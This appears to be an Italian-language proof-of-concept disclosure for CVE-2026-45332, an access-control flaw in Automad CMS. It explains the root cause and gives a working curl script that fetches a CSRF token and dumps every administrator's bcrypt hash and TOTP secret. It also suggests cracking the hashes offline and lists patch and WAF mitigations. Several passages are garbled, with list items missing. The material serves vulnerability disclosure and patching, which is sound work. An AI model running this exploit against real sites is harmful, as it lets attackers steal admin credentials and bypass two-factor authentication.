
Exploit proof-of-concept per CVE-2026-45332, un controllo degli accessi non funzionante in Automad CMS che consente il dump non autenticato degli hash bcrypt dell'amministratore e dei segreti TOTP.
Proof of concept per CVE-2026-45332, una vulnerabilità di Controllo di accesso non funzionante in Automad CMS che consente a qualsiasi attaccante non autenticato di scaricare l'hash della password bcrypt e il segreto TOTP di ogni account amministratore tramite l'endpoint di configurazione, che non viene mai disabilitato dopo la configurazione iniziale.
| Field | Value |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Product | Automad CMS (composer automad/automad) |
| Affected | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Patched | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function) |
| Researcher | Lorenzo Camilli |
Automad è un CMS PHP basato su file. L'endpoint di configurazione responsabile della creazione del primo account amministratore, /_api/user-collection/create-first-user, è registrato come una rotta API permanentemente pubblica. Non esiste alcuna protezione che lo disabiliti una volta completata la configurazione iniziale.
Su un'istanza live completamente configurata, una POST non autenticata a questo endpoint carica l'intero database utente dal disco e lo restituisce, serializzato, nel corpo della risposta JSON, includendo:
2.0.0-beta.27)Non è richiesto alcun account, credenziali o posizione di rete speciale.
La rotta è inserita nell'array $publicAPIRoutes in automad/src/server/Routes.php e registrata sotto la condizione AM_PAGE_DASHBOARD, una costante che vale la stringa '/dashboard' e quindi è sempre vera. La rotta rimane registrata su ogni installazione, anche dopo il completamento della configurazione.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() include i campi privati passwordHash e totpSecret, quindi finiscono incorporati nell'output serializzato restituito al chiamante.
Report tecnico completo: PoC.md.
L'endpoint richiede un token CSRF valido e un cookie di sessione Automad, entrambi ottenibili liberamente dalla pagina di login pubblica. Riproduzione:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
La risposta contiene l'hash bcrypt e il segreto TOTP di ogni amministratore registrato più il percorso assoluto di configurazione:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
Gli hash bcrypt possono quindi essere craccati offline (Hashcat / John). Su 2.0.0-beta.27 il segreto TOTP divulgato aggira completamente l'autenticazione a due fattori.
Un attaccante remoto non autenticato può:
2.0.0-beta.27).Aggiornare ad Automad 2.0.0-beta.28 o successivo, che limita l'endpoint una volta completata la configurazione iniziale. Come mitigazione temporanea, bloccare le richieste a /_api/user-collection/create-first-user a livello di server web o WAF.